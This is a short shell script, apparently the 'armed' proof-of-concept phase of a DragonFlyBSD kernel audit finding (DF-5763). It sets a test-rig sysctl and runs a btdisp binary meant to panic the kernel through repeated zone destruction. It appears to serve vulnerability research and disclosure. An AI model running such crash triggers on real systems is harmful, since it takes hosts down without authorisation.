⬢ DragonFlyBSD Kernel Audit
DF-5763 / armed.sh
← back to finding ↓ download raw
#!/bin/sh
# DF-5763 ARMED phase: assumes control.sh already loaded the rig.
# Sets the one-bit precondition (PR_RIGHTS on btsw[0]) and fires.
set -e
cd "$(dirname "$0")"

echo "== ARM: set PR_RIGHTS on btsw[0] (the one-bit precondition) =="
sysctl hw.btdisp.arm=1
sysctl hw.btdisp.info

echo
echo "== ARMED TRIGGER: 4 rounds — expect panic/crash (zdestroy of"
echo "   already-destroyed global zones from round 2 on) =="
./btdisp 4
echo "unexpectedly survived; see VERDICT.md"
sysctl hw.btdisp.info